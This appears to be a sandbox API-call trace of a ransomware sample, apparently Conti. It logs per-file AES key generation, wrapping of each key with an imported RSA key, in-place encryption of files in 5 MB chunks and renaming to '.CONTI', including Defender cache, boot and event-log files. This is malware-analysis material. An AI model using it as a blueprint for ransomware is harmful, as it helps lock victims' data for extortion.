	[0135.822] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0135.822] GetLastError () returned 0x0
	[0135.822] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=26126356) returned 1
	[0135.822] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18ea814
	[0135.822] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.822] SetEndOfFile (hFile=0x3c0) returned 1
	[0135.823] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0135.823] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.823] WriteFile (in: hFile=0x3c0, lpBuffer=0x6b46e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b46e4c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0135.823] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0135.823] ReadFile (in: hFile=0x3c0, lpBuffer=0xd030000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x500000, lpOverlapped=0x0) returned 1
	[0136.971] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000) returned 1
	[0136.976] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.977] WriteFile (in: hFile=0x3c0, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x500000, lpOverlapped=0x0) returned 1
	[0138.527] ReadFile (in: hFile=0x3c0, lpBuffer=0xd030000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x500000, lpOverlapped=0x0) returned 1
	[0140.089] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000) returned 1
	[0140.095] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.095] WriteFile (in: hFile=0x3c0, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x500000, lpOverlapped=0x0) returned 1
	[0141.415] ReadFile (in: hFile=0x3c0, lpBuffer=0xd030000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x500000, lpOverlapped=0x0) returned 1
	[0142.745] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000) returned 1
	[0142.759] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.759] WriteFile (in: hFile=0x3c0, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x500000, lpOverlapped=0x0) returned 1
	[0145.800] ReadFile (in: hFile=0x3c0, lpBuffer=0xd030000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x500000, lpOverlapped=0x0) returned 1
	[0148.426] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000) returned 1
	[0148.432] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.432] WriteFile (in: hFile=0x3c0, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x500000, lpOverlapped=0x0) returned 1
	[0149.456] ReadFile (in: hFile=0x3c0, lpBuffer=0xd030000, nNumberOfBytesToRead=0x4ea814, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x4ea814, lpOverlapped=0x0) returned 1
	[0152.119] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x4ea814, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x4ea820) returned 1
	[0152.127] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0152.127] WriteFile (hFile=0x3c0, lpBuffer=0xd030000, nNumberOfBytesToWrite=0x4ea820, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0) 

Thread:
	id = 163
	os_tid = 0xd28

	[0093.084] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xd540000
	[0093.085] CryptAcquireContextA (in: phProv=0x4abfce4, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x4abfce4*=0x176b930) returned 1
	[0093.087] CryptImportKey (in: hProv=0x176b930, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x4abfce0 | out: phKey=0x4abfce0*=0x175dff0) returned 1
	[0093.087] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0093.587] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17c3c70 | out: phKey=0x17c3c70*=0x175e4b0) returned 1
	[0093.587] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c3c74, pdwDataLen=0x4abfcac | out: pbData=0x17c3c74*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0093.605] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80
	[0093.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.605] GetLastError () returned 0x0
	[0093.605] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=3314) returned 1
	[0093.606] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcf2
	[0093.606] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.606] SetEndOfFile (hFile=0x33c) returned 1
	[0093.606] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.606] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.606] WriteFile (in: hFile=0x33c, lpBuffer=0x17c3c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17c3c74*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0093.608] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.608] ReadFile (in: hFile=0x33c, lpBuffer=0xd540000, nNumberOfBytesToRead=0xcf2, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0xcf2, lpOverlapped=0x0) returned 1
	[0093.608] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0xcf2, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0xd00) returned 1
	[0093.608] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.608] WriteFile (in: hFile=0x33c, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0xd00, lpOverlapped=0x0) returned 1
	[0093.608] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.608] WriteFile (in: hFile=0x33c, lpBuffer=0x17c3c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17c3c68*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0093.608] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.608] CloseHandle (hObject=0x33c) returned 1
	[0093.609] GetProcessHeap () returned 0x1720000
	[0093.609] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.609] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1030\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf"
	[0093.609] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1030\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf.CONTI"
	[0093.609] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.conti")) returned 1
	[0093.610] GetProcessHeap () returned 0x1720000
	[0093.610] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.610] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.610] GetProcessHeap () returned 0x1720000
	[0093.610] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d008 | out: hHeap=0x1720000) returned 1
	[0093.610] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0094.212] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x175e5f0) returned 1
	[0094.212] CryptExportKey (in: hKey=0x175e5f0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x4abfcac | out: pbData=0x17d48cc*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0094.217] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80
	[0094.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.218] GetLastError () returned 0x0
	[0094.218] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=36710) returned 1
	[0094.218] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8f66
	[0094.218] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.218] SetEndOfFile (hFile=0x34c) returned 1
	[0094.218] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.218] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.218] WriteFile (in: hFile=0x34c, lpBuffer=0x17d48cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17d48cc*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0094.220] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.220] ReadFile (in: hFile=0x34c, lpBuffer=0xd540000, nNumberOfBytesToRead=0x8f66, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x8f66, lpOverlapped=0x0) returned 1
	[0094.222] CryptEncrypt (in: hKey=0x175e5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x8f66, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x8f70) returned 1
	[0094.222] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.222] WriteFile (in: hFile=0x34c, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x8f70, lpOverlapped=0x0) returned 1
	[0094.222] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.222] WriteFile (in: hFile=0x34c, lpBuffer=0x17d48c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17d48c0*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0094.222] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.222] CloseHandle (hObject=0x34c) returned 1
	[0094.223] GetProcessHeap () returned 0x1720000
	[0094.223] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.224] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Setup.ico"
	[0094.224] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.CONTI"
	[0094.224] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.conti")) returned 1
	[0094.225] GetProcessHeap () returned 0x1720000
	[0094.225] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.225] CryptDestroyKey (hKey=0x175e5f0) returned 1
	[0094.225] GetProcessHeap () returned 0x1720000
	[0094.225] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bff08 | out: hHeap=0x1720000) returned 1
	[0094.225] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0095.243] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x17c7ff0) returned 1
	[0095.243] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x4abfcac | out: pbData=0x17c5c6c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0095.249] GetFileAttributesW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26
	[0095.251] CreateFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0095.251] GetLastError () returned 0x0
	[0095.251] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=1) returned 1
	[0095.251] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1
	[0095.251] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.251] SetEndOfFile (hFile=0x35c) returned 1
	[0095.251] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.251] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.251] WriteFile (in: hFile=0x35c, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0095.253] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.253] ReadFile (in: hFile=0x35c, lpBuffer=0xd540000, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x1, lpOverlapped=0x0) returned 1
	[0095.253] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x10) returned 1
	[0095.253] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.253] WriteFile (in: hFile=0x35c, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x10, lpOverlapped=0x0) returned 1
	[0095.253] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.253] WriteFile (in: hFile=0x35c, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0095.253] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.253] CloseHandle (hObject=0x35c) returned 1
	[0095.254] GetProcessHeap () returned 0x1720000
	[0095.254] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17df8a8
	[0095.254] lstrcpyW (in: lpString1=0x17df8a8, lpString2="C:\\BOOTNXT" | out: lpString1="C:\\BOOTNXT") returned="C:\\BOOTNXT"
	[0095.254] lstrcatW (in: lpString1="C:\\BOOTNXT", lpString2=".CONTI" | out: lpString1="C:\\BOOTNXT.CONTI") returned="C:\\BOOTNXT.CONTI"
	[0095.255] MoveFileW (lpExistingFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), lpNewFileName="C:\\BOOTNXT.CONTI" (normalized: "c:\\bootnxt.conti")) returned 1
	[0095.255] GetProcessHeap () returned 0x1720000
	[0095.255] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17df8a8 | out: hHeap=0x1720000) returned 1
	[0095.255] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0095.255] GetProcessHeap () returned 0x1720000
	[0095.255] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17b3980 | out: hHeap=0x1720000) returned 1
	[0095.255] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0095.490] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x17c80f0) returned 1
	[0095.490] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x4abfcac | out: pbData=0x17d5b0c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0095.490] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20
	[0096.689] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.696] GetLastError () returned 0x0
	[0096.696] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=69632) returned 1
	[0096.696] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.696] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.696] SetEndOfFile (hFile=0x384) returned 1
	[0096.696] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.703] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.703] WriteFile (in: hFile=0x384, lpBuffer=0x17d5b0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17d5b0c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0096.718] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.718] ReadFile (in: hFile=0x384, lpBuffer=0xd540000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x11000, lpOverlapped=0x0) returned 1
	[0096.723] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11000, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11010) returned 1
	[0096.723] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.723] WriteFile (in: hFile=0x384, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x11010, lpOverlapped=0x0) returned 1
